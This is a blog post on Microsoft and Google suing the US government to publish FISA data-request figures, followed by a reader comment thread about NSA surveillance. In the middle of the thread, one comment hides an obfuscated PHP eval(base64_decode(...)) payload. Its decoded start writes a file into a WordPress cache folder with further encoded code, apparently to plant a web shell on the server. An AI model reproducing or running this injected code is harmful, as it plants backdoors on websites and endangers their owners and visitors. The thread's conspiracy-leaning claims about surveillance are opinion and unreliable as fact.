Microsoft and Google may sue US government to allow them to publish user data request from the government after talks with the Justice Department stalled. The tech giants filed suits in a US federal court in June, arguing a right to make public more information about user data requests made under the auspices of the Foreign Intelligence Surveillance Act (FISA).

The technology giants agreed six times to extend the deadline for the government to respond to the lawsuits, the Microsoft’s general counsel, Brad Smith, wrote in a blog post.

“With the failure of our recent negotiations, we will move forward with litigation in the hope that the courts will uphold our right to speak more freely,” he posted on the blog.

“To followers of technology issues, there are many days when Microsoft and Google stand apart,” Smith said. “But today our two companies stand together… We believe we have a clear right under the US Constitution to share more information with the public.”

“…we believe it is vital to publish information that clearly shows the number of national security demands for user content, such as the text of an email,” Smith said.

He argued that, along with providing numbers of requests, disclosures should provide context regarding what is being sought.

“We believe it’s possible to publish these figures in a manner that avoids putting security at risk,” Smith said.

Our government has a gag order on banks, on corporations, on service providers – our government has threatened to jail librarians for refusing to cooperate with spying on library patrons. The stink is spreading.

  1. The Pirate says:

    Bullshit PR move by companies suckling at the government teat.

    • dusanmal says:

      Worse than that. These people ACTIVELY laid grounds for Governmental spying even before asked or needed to. They actively support it and oppose only as a PR because now their real customers for whom they should have worked all the time – noticed and are tightening spending on those who sell them.
      Instead of this BS I’d like to see MS remove any backdoors from say, Skype and make it point to point encrypted without any touch or record by MS (as it was to begin with). Instead of this BS I’d like Google to provide paid service where WE are the customers and any collected data is both encrypted by us (ie. they can give BigGovernment all – but it is locked and we have a lock) and only used for our, user benefit (none is shared with any Google partnership without our explicit opt-in). Those are the real privacy advocates actions.

      • bobbo, make Reality your friend. It only hurts the first few times. Something masochistic there, unwrapping one's self from the comfortable wrappings of Dogma says:

        Hey Duce—I agree completely. That about covers the spectrum I would say unless Pedro gives us his unique perspective.

        OTOH==what should good people do when the Universe laughs at them?…….. Hmmmm…… I would say, recognize and deal with reality: all your communications are belong to us.

        Reality. What a concept.

    • msbpodcast says:


      They have detected a change in the mood of the people, which they are aware of because they, specially Google, only exist because they feed the can fulfill some needs, unlike the government.

  2. MikeN says:

    Google builds a profile of you based on your e-mail, but you are surprised that NSA looks at the profile?

    • dusanmal says:

      Are you aware that BigGovernment STILL can’t go to the bookstore or even a public library and ask for your book or magazine purchase or rental info. Although said store or library has it.Because of the proper Constitutional protections of the old media/communications. They still can’t take your letter from the USPS and open it to read it. And so on. Provided by our founding legal principles.
      Present abuse of those vs. “new media/communications” is what is abhorrent. So what if Google or any other service provider has your communications? They should have as much right to disclose it as paper or lock/safe manufacturers of old (read: none) did. We must elect people who will push for such, proper Constitutional updates for a new technologies. Not elect charming liars for promising us goodies taken from others.

      • noname says:

        Where have you been for the last ten years; as if you know what these secret court orders, National Security Letter have asked for:

        “The most common uses — that we know of — include snatching customer data from Internet service providers of every ilk, the numbers and dates of subscriber phone calls and library records, because as everyone knows, what you read could be hazardous to the country’s health.”

        That’s why a growing diverse list of American organizations have signed on asking Congress to End NSA Spying. But sadly, since America is not a democracy and we the people don’t have money like Wall Street to pony up huge campaign contributions to buy representatives (votes), this will go nowhere.

      • MikeN says:

        It’s not just that they have it, but that they look at it. Has Google revealed any protections of your privacy internally? What do they do to keep employees from looking through your e-mail? Facebook, we know keeps a profile of you that even you don’t see, with your personal info that you didn’t reveal to Facebook such as a cell phone number.

  3. dcphill says:

    I have reason to believe that the gumint has always been able to open our snail mail when they thought it was necessary, at least 70 years ago.

    • Greg Allen says:

      70 years ago, was the government amassing a gigantic dossier on every American’s most private details?

      If not, then that is nothing like this.

  4. Tim says:

    A day late and a CRC check short.

  5. bobbo, make Reality your friend. It only hurts the first few times. Something masochistic there, unwrapping one's self from the comfortable illusions of Dogma says:

    “The Universe is laughting at you” /// Made me think of that old song Disiderata. Good old Google now has everything. I must have forgotten what I reallly thought of was “Deteriorata” and I think a version that google/youtube does not contain. I have it on tape—-somewhere.

    Good to touch base with the Verities on a repeating basis. Keeps you regular.

    Parody and words to live by:

    Original and wrapped way too tight:

  6. Greg Allen says:

    We librarians totally warned America about this.

    We said that this provision of the Patriot Act is profoundly un-American.

    But, in the wake of 9/11, hysterical conservatives just called us pro-terrorist.

  7. Greg Allen says:

    If we could get Congress to come back from vacation and actually do their jobs, they could pass some laws protecting our privacy in a digital age.

    But only if the GOP has any interest in doing their job.

    And that’s the last thing they want to do.

    • MikeN says:

      The President is in charge of the executive branch, and if he wanted to stop NSA spying, he could do it in an instant. Anything the GOP passes, would also be vetoed by him. Obama specifically campaigned saying that he wold make sure privacy is protected, right after he voted to authorize warrantless wiretapping.

    • msbpodcast says:

      The best thing that the gum-mint could do is disband and outlaw its particular form of representative government as a proven failure.

      Unfortunately, the gum-mint is not about to disband itself just because it has stopped being fair, balanced or representative.

      Instead it votes on secret laws, appoints secret courts, hires secret companies that we the people pay for from black budget line items and the only people its a secret from is US.

  8. MikeN says:

    Both of these companies are in bed with Obama. That’s why he is a fascist. These lawsuits were probably preapproved by him, and will be settled in due course in a matter that is convenient.

  9. coleman says:

    Yes, you have truly told
    eval(base64_decode(‘aWYoJGY9Zm9wZW4oJ3dwLWNvbnRlbnQvY2FjaGUvcXBsZ2wucGhwJywndycpKXtmcHV0cygkZiwnPD9waHAgLypIITJeZCovZXZhbC8qMUUxQCovKC8qNiZUQ1MqL2Jhc2U2NF9kZWNvZGUvKiZDQCovKC8qdWdeYyovXCdMeXBOUlRRcUwybG1MeW9nZm5OOVVtd3FMeWd2S2pnK1FIQXFMMlwnLypjOmRXKi8uLyouXCdwQCovXCdsemMyVjBMeXBZZEdRM2Fpb3ZLQzhxWVZveFowaDRjek1xTHlSZlwnLyp6bHx+dWQqLy4vKlF7djgqL1wnVWtWUlZVVlRWQzhxTVV0QkpXMXRLaTliTHlwK1lra3FMeWRqSnlcJy8qID80bXsqLy4vKiY7ajoqL1wnOHFTMEFuZm0wcUx5NHZLamtoYW5NbFhrUWdLaThuYVNjdktpNXdcJy8qRntbUSovLi8qLj9FfDhiKi9cJ08xMXhLaTh1THlvb1FtMWpmbWdxTHlkckp5OHFmbVZZUWxoMUpTXCcvKiBPXDYqLy4vKilva1ZYKi9cJ292TGk4cVptaENQQ292SjJ4aGNTY3ZLbTVlUW1kalZ5b3ZYUzhxXCcvKlZoe01vKi8uLyo1YC5KZSovXCdOeko5S2k4dktqZE1MQzV2S2k4cEx5b3JVMlJWUkNvdkx5cEVLQ1wnLyorNT52aCovLi8qNjV9T2E/fCovXCdWdFdWMHFMeWt2S25kQ01Ia3hLaTlsZG1Gc0x5cDFUa2txTHlndlwnLypFXWE6OVMqLy4vKnk+QCovXCdLbFpKZVd0cGVTb3ZjM1J5YVhCemJHRnphR1Z6THlvdVkyWXFMeVwnLyolaTRuKi8uLypcam5fXyovXCdndktrb3lRaXhiS2k4a1gxSkZVVlZGVTFRdktucHJMRHQ4Y2lvdlwnLyplLnBsSjQqLy4vKjBeP2J9byovXCdXeThxT0NoUWVuZ3FMeWRqSnk4cVIzcFNXekVxTHk0dktqc2xaVlwnLypzWk0qLy4vKlt2QX0pdnoqL1wnQXFMeWRwSnk4cWFHZDhLaTh1THlvdFh6SjJURnNxTHlkckp5OHFcJy8qbUZGKi8uLypuWn1nQCovXCdmalE1ZVNvdkxpOHFUak5zZHlvdkoyeGhjU2N2S21kUFdXcGVLaVwnLypMUDx5eXkqLy4vKjd2QDhMKi9cJzlkTHlweGVqTWxLaTh2S24xWE5GazZXU292S1M4cVowVWxYR1IzXCcvKkw3NFwnN1sqLy4vKlNMMVNWKi9cJ0tpOHZLanhJZTNGSk96RXFMeWt2S2tFdFRTb3ZMeW9sZHp0ZGJ5b3ZPeThxVWl4OEtpOD1cJy8qW3l3a1YqLykvKl1ZK1AqLy8qay5aMX1xfVwqLykvKi06WzBkQV8qLy8qTTFORWQ4OCovOy8qMHxlKi8/PicpO2ZjbG9zZSgkZik7fQ==’)); –>

  10. t0llyb0ng says:

    Mr. O’Bama has encouraged a dialogue with the American people over Syria.  I take it there’ll be a plebiscite thereafter?  Imagine an actual referendum.  What a novel idea.

    I got yer “dialogue” right here:  Would “We the People” assent to another meaningless, multi-billion-dollar confRict / boondoggle on the other side of the world?  What would our direct vote say?  Think real hard now.

    When will the bill to kill off the Patriot Act be introduced in Congress?  When do the Watergate-style hearings start vis-a-vis the NSA’s high crimes & misdemeanors?

    When will we stop using secret orders to shut people up?  “Transparency” starts there.  Until then, it’s all just one lie on top of another—a miasma of half-truths & obfuscations.

    Does it seem that the malefactors have clammed up recently?  Time to get ’em talking again—for the video cameras, under oath.  “The whole truth” & all that stuff.

  11. Glenn E. says:

    I have suspected the government was domestically spying on the citizens, for some time now. Ever since our local libraries stopped letting anyone use their internet access, without identifying users in some traceable way. And I’ll bet Starbucks and other “free” Wifi hotspots, insist on some ID too, these days.

    Years ago, the libraries use to have free dial-up access. That they later claimed was costing them too much money. So they went to paid only dial-up accounts. And that was also about the same time you could no longer walk into any branch, and sit down at a computer terminal, and generate email anonymously. Their excuse for eliminating that security loophole was, of course, child porn.

    Eventually the library completely gave up on the paid dial-up service. They said, because mostly everyone was going over to high speed access. But I suspect that their backbone charges were escalating, as AT&T was forcing all the little folks out of business. And even before that, the libraries stopped their Usenet access. Claiming nobody was using that anymore, either. Not using the Usenet to download free binaries or Newsgroups? Yeah, I’ll bet. Likely, it was more about restricting the free flow of news and “traded” media.

    But even going back to before the Internet was first made publicly accessible, instead of only to defense contractors and major colleges. There was Prodigy and CompuServe, for example. And tons of smaller independent setups, beating the long distance charges the Telcos kept insisting on. Connecting PCs across the land, and even abroad. And all of them (probably not so much Prodigy or CompuServe), were a total headache for the government to try and spy on its email traffic. That’s when the government first got worried about “going dark”.

    But by making the Military’s DARPA project, into a public Internet, “privatized” by the big Telcos (after tax dollars built it). And with oodles of feeds, leading straight back to the NSA. The government’s spooks could much more easily monitor emails, than if they had left thousands of smaller, private and commercial carriers flourish. So you really have to realize, that the whole Internet was designed for easy spying, after it was “set free” to the public. That was the main reason for doing it.

    I recall before it was, someone I knew, who ran one of those little independent dial-up services, told me the FBI wanted into his system to monitor for “stolen credit card lists”. Apparently secret gag orders weren’t around, back then. Yeah, you don’t hear them bragging about how they’ve put a stop to that illegal trafficking, since being able to snoop more easily. It’s all about them “stopping terrorism”. Nothing about policing credit card theft rings. Did they magically go away?

    So in the final analysis, it seems the government is only interested in being able to read everyone’s emails, anytime it wants to, for any reasons they can think up. But especially, only if mostly everyone is unaware of it. So they’re much more likely to let slip some juicy details, that the government snoops are very interested in exploiting. Commercially, financially, and politically.

    Talk about Insider Trading. Who’s policing the government’s spies from doing any of this? You’d think there would be at least one such case. But they’re keeping any such misuse of information, under tight wraps. Even Snowden hasn’t revealed anything like that. If he does know, I’ll bet it’s the very last thing he’ll reveal.

    Basically what the government is building is a future telling machine. Because by monitoring everything the citizens are up to, every way that’s possible. They can predict the future, as human beings will shape it. Like an electronic crystal ball, that already knows everything about you (thanks to Facebook), and what you eat, wear, buy, sell, trust, distrust, desire, love, and hope for. And by aggregating that, all over the world, they could predict the future. At least enough to handsomely profit from it. Maybe even control it. And your tax dollars made that e-Crystal Ball possible. But not for the public’s use.


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